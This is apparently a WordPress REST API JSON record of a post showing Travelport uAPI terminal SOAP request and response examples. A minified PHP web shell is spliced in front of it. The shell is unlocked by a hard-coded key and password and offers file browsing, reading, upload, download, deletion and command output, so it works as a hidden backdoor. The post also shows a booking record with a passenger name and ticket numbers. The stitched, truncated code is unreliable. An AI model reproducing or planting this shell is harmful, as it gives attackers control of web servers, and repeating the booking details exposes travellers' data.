// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo '
✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; default: echo '
| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |
Session Request<\/p>\n
<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" xmlns:ter=\"http:\/\/www.travelport.com\/schema\/terminal_v33_0\" xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v33_0\">\r\n <soapenv:Header\/>\r\n <soapenv:Body>\r\n <ter:CreateTerminalSessionReq AuthorizedBy=\"user\" TargetBranch=\"P2222222\" RetrieveProviderReservationDetails=\"false\" Host=\"1P\">\r\n <com:BillingPointOfSaleInfo OriginApplication=\"UAPI\"\/>\r\n <\/ter:CreateTerminalSessionReq>\r\n <\/soapenv:Body>\r\n<\/soapenv:Envelope>\r\n<\/pre>\nResponse<\/p>\n
Command Request<\/p>\n
<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" xmlns:ter=\"http:\/\/www.travelport.com\/schema\/terminal_v33_0\" xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v33_0\">\r\n <soapenv:Header\/>\r\n <soapenv:Body>\r\n <ter:TerminalReq AuthorizedBy=\"user\" TargetBranch=\"P2222222\" RetrieveProviderReservationDetails=\"false\">\r\n <com:BillingPointOfSaleInfo OriginApplication=\"UAPI\"\/>\r\n <com:HostToken Host=\"1P\">ID280-f62cba7a-01c0-45a5-9dc4-e2c611af37e3<\/com:HostToken>\r\n <ter:TerminalCommand>*NZ8EFR<\/ter:TerminalCommand>\r\n <\/ter:TerminalReq>\r\n <\/soapenv:Body>\r\n<\/soapenv:Envelope>\t\r\n<\/pre>\nResponse<\/p>\n
<SOAP:Envelope xmlns:SOAP=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\">\r\n <SOAP:Body>\r\n <terminal:TerminalRsp TransactionId=\"9D6375720A07425CCE5043D91736D956\" ResponseTime=\"69\" xmlns:terminal=\"http:\/\/www.travelport.com\/schema\/terminal_v33_0\">\r\n <terminal:TerminalCommandResponse>\r\n <terminal:Text>1P- NZ8EFR<\/terminal:Text>\r\n <terminal:Text>1.1KIM\/SUMIMS*ADT<\/terminal:Text>\r\n <terminal:Text>1 KE 603E 11NOV FR ICNHKG HK1 0825 1120 \/O $ E<\/terminal:Text>\r\n <terminal:Text>2 KE 604E 15NOV TU HKGICN HK1 1235 1700 \/O $ E<\/terminal:Text>\r\n <terminal:Text>P- 1.LHC02-122-1222 WORLD TRAVEL *<\/terminal:Text>\r\n <terminal:Text>T- 1.T\/07OCT1256 1P\/LHC\/EM*E1809010263231 *I<\/terminal:Text>\r\n <terminal:Text>TKG FAX-AUTO PRICED FARE TYPE EX<\/terminal:Text>\r\n <terminal:Text>G- 1.SSROTHS1PKERSVN IS 6524-7352<\/terminal:Text>\r\n <terminal:Text>2.SSRADTK1PTOKE BY 21OCT 1900 TYO OTHERWISE WILL BE XLD<\/terminal:Text>\r\n <terminal:Text>3.SSRTKNEKEHK1ICNHKG0603E11NOV- 1.1 .1809010263231C1<\/terminal:Text>\r\n <terminal:Text>4.SSRTKNEKEHK1HKGICN0604E15NOV- 1.1 .1809010263231C2<\/terminal:Text>\r\n <terminal:Text>5.SSROTHS1PCHECK SPECIAL MEAL AND ADVANCE SEATING<\/terminal:Text>\r\n <terminal:Text>6.SSROTHS1PECONOMY CLS ASP AVBL WITHIN 361DAYS FOR TKTD PAX<\/terminal:Text>\r\n <terminal:Text>**** ITEMS SUPPRESSED ****\/DH\/ETA\/DR<\/terminal:Text>\r\n <\/terminal:TerminalCommandResponse>\r\n <\/terminal:TerminalRsp>\r\n <\/SOAP:Body>\r\n<\/SOAP:Envelope>\r\n<\/pre>\nSession Close<\/p>\n
\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\" xmlns:ter=\"http:\/\/www.travelport.com\/schema\/terminal_v33_0\" xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v33_0\">\r\n<soapenv:Header\/>\r\n<soapenv:Body>\r\n<ter:EndTerminalSessionReq AuthorizedBy=\"user\" TargetBranch=\"????????\" RetrieveProviderReservationDetails=\"false\" Host='1P'>\r\n<com:BillingPointOfSaleInfo OriginApplication=\"UAPI\"\/>\r\n\r\n<com:HostToken Host='1P'>ID454-bc9d0bda-9a59-445a-b3df-126c5580ca60<\/com:HostToken>\r\n<!--Optional:-->\r\n\r\n<\/ter:EndTerminalSessionReq>\r\n\r\n<\/soapenv:Body>\r\n<\/soapenv:Envelope>\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"Session Request <soapenv:Envelope xmlns:soapenv=”http:\/\/schemas.xmlsoap.org\/soap\/envelope\/” xmlns:ter=”http:\/\/www.travelport.com\/schema\/terminal_v33_0″ xmlns:com=”http:\/\/www.travelport.com\/schema\/common_v33_0″> <soapenv:Header\/> <soapenv:Body> <ter:CreateTerminalSessionReq AuthorizedBy=”user” TargetBranch=”P2222222″ RetrieveProviderReservationDetails=”false” Host=”1P”> <com:BillingPointOfSaleInfo OriginApplication=”UAPI”\/> <\/ter:CreateTerminalSessionReq> <\/soapenv:Body> <\/soapenv:Envelope> Response Command Request <soapenv:Envelope xmlns:soapenv=”http:\/\/schemas.xmlsoap.org\/soap\/envelope\/” xmlns:ter=”http:\/\/www.travelport.com\/schema\/terminal_v33_0″ xmlns:com=”http:\/\/www.travelport.com\/schema\/common_v33_0″> […]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-18","post","type-post","status-publish","format-standard","hentry","category-terminal"],"_links":{"self":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/18","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18"}],"version-history":[{"count":11,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/18\/revisions"}],"predecessor-version":[{"id":498,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/18\/revisions\/498"}],"wp:attachment":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}